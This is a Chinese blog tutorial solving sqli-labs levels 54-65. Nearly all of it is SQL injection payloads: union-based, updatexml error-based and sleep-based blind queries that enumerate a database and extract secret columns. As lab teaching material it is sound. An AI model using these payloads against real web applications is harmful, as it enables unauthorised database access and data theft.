以sqlilabs靶场为例,讲解SQL注入攻击原理【54-65关】

【Less-54】

与前面的题目不同是,这里只能提交10次,一旦提交超过十次,数据会重新刷新,所有的步骤需要重来一次。

解题步骤:

根据测试,使用的是单引号闭合。

# 判断字段的数量
?id=1' order by 3 -- aaa

# 获取数据库的名字
?id=-1' union select 1,2,database() -- aa

# 获取数据表的名字
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  

# 获取字段名,上一步获取的数据表名为73m93vdzgg(随机生成的)
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='73m93vdzgg'-- aa  

# 获取目标信息
?id=-1' union select 1,2,secret_8QFM from 73m93vdzgg -- aa 

最后把获取到的Key值放入输入框中提交,通关。

【Less-55】

通过测试,使用的是括号闭合。

解题步骤:

# 判断字段的数量
?id=1) order by 3 -- aaa

# 获取数据库的名字
?id=-1) union select 1,2,database() -- aa

# 获取数据表的名字
?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  

# 获取字段名,上一步获取的数据表名为lll4ndq8t5(随机生成的)
?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='lll4ndq8t5'-- aa  

# 获取目标信息,字段名为secret_JY1K
?id=-1) union select 1,2,secret_JY1K from lll4ndq8t5 -- aa 

【Less-56】

与上面两题类似,只是闭合的类型不同,采用的是单引号括号的方式。

解题步骤和上面基本一致,如下:

# 判断字段的数量
?id=1') order by 3 -- aaa

# 获取数据库的名字
?id=-1') union select 1,2,database() -- aa

# 获取数据表的名字
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  

# 获取字段名,上一步获取的数据表名为bpunqnpx62(随机生成的)
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='bpunqnpx62'-- aa  

# 获取目标信息,字段名为secret_0OCB
?id=-1') union select 1,2,secret_0OCB from bpunqnpx62 -- aa 

【Less-57】

同样类型的题目,与之前的几题基本一样,只是闭合采用的是双引号

解题步骤:

# 判断字段的数量
?id=1" order by 3 -- aaa

# 获取数据库的名字
?id=-1" union select 1,2,database() -- aa

# 获取数据表的名字
?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  

# 获取字段名,上一步获取的数据表名为mim20rhi4p(随机生成的)
?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='mim20rhi4p'-- aa  

# 获取目标信息,字段名为secret_3YCT
?id=-1" union select 1,2,secret_3YCT from mim20rhi4p -- aa 

【Less-58】

通过测试,使用的是单引号闭合。

解题过程和之前的集体类似,只是没有回显信息,解题步骤如下:


# 获取数据库的名字
?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa
# 获取数据表的名字
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa

# 获取字段名,上一步获取的数据表字段名为s93lfq2cfa(随机生成的)
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='s93lfq2cfa'),0x7e),1) -- aa

# 获取目标信息,字段名为secret_REV6
?id=-1' and updatexml(1,concat(0x7e,(select secret_REV6 from s93lfq2cfa),0x7e),1) -- aa

【Less-59】

与Less-58基本相同,唯一的不同在于闭合方式,Less-59是直接注入的方式。

# 获取数据库的名字
?id=-1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) 

# 获取数据表的名字 w7hf6t37nt
?id=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) 

# 获取字段名,上一步获取的数据表名为w7hf6t37nt(随机生成的)
?id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='w7hf6t37nt'),0x7e),1)

# 获取目标信息,字段名为secret_D5MM
?id=-1 and updatexml(1,concat(0x7e,(select secret_D5MM from w7hf6t37nt),0x7e),1)

【Less-60】

与上题类似,闭合使用的是双引号括号。

解题步骤:


# 获取数据库的名字
?id=-1") and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa

# 获取数据表的名字
?id=-1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa

# 获取字段名,上一步获取的数据表名为kz7qxr5nq1(随机生成的)
?id=-1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='kz7qxr5nq1'),0x7e),1) -- aa

# 获取目标信息,字段名为secret_TEGV
?id=-1") and updatexml(1,concat(0x7e,(select secret_TEGV from kz7qxr5nq1),0x7e),1) -- aa

【Less-61】

经过测试,本题的闭合方式为单引号加两个括号

解题步骤:


# 获取数据库的名字
?id=-1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa

# 获取数据表的名字
?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa

# 获取字段名,上一步获取的数据表名为31nbt3hzri(随机生成的)
?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='31nbt3hzri'),0x7e),1) -- aa

# 获取目标信息,字段名为secret_QQ63
?id=-1')) and updatexml(1,concat(0x7e,(select secret_QQ63 from 31nbt3hzri),0x7e),1) -- aa

【Less-62】

此题的闭合方式为单引号加括号,与之前题目不同的是,此题没有显错,采用盲注的方式解题。

解题步骤:

# 获取数据库的名字,长度为10
?id=1') and length(database())=10 -- aa

# 获取数据库的名字
?id=1') and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa


# 获取数据表名的长度,10
?id=1') and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa

# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa

# 获取字段名
?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa




此时可以使用Burp Sutie工具实现名字的遍历。

【Less-63】

基本与Less-62一样,闭合是单引号闭合

 解题步骤:

# 获取数据库的名字,长度为10
?id=1' and length(database())=10 -- aa

# 获取数据库的名字
?id=1' and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa


# 获取数据表名的长度,10
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa

# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa

# 获取字段名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa

【Less-64】

基本与Less-63一样,闭合是两个括号

 解题步骤:

# 获取数据库的名字,长度为10
?id=1)) and length(database())=10 -- aa

# 获取数据库的名字
?id=1)) and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa


# 获取数据表名的长度,10
?id=1)) and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa

# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1)) and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa

# 获取字段名
?id=1)) and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa

【Less-65】

基本与Less-63一样,闭合是双引号括号

 解题步骤:

# 获取数据库的名字,长度为10
?id=1") and length(database())=10 -- aa

# 获取数据库的名字
?id=1")  and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa


# 获取数据表名的长度,10
?id=1") and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa

# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1") and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa

# 获取字段名
?id=1") and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa

相关推荐

  1. SQL注入攻击与防御详细讲解

    2024-06-08 22:50:03       42 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-06-08 22:50:03       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-06-08 22:50:03       101 阅读
  3. 在Django里面运行非项目文件

    2024-06-08 22:50:03       82 阅读
  4. Python语言-面向对象

    2024-06-08 22:50:03       91 阅读

热门阅读

  1. 鸿蒙认证学什么?

    2024-06-08 22:50:03       33 阅读
  2. 力扣 41.缺少的第一个正整数

    2024-06-08 22:50:03       25 阅读
  3. Python爬虫实战:从入门到精通

    2024-06-08 22:50:03       29 阅读
  4. 连接ssl加密的kafka集群

    2024-06-08 22:50:03       34 阅读
  5. uniapp 小程序运行报错plus...

    2024-06-08 22:50:03       30 阅读
  6. 每天一个数据分析题(三百四十八)

    2024-06-08 22:50:03       28 阅读
  7. 如何自定义SpringBoot的白标错误页面?

    2024-06-08 22:50:03       29 阅读
  8. Python中的函数式编程概念

    2024-06-08 22:50:03       27 阅读
  9. shell简介

    2024-06-08 22:50:03       26 阅读
  10. C语言从头学15——数据类型(一)

    2024-06-08 22:50:03       27 阅读
  11. Linux搭建和共享第三方软件仓库

    2024-06-08 22:50:03       24 阅读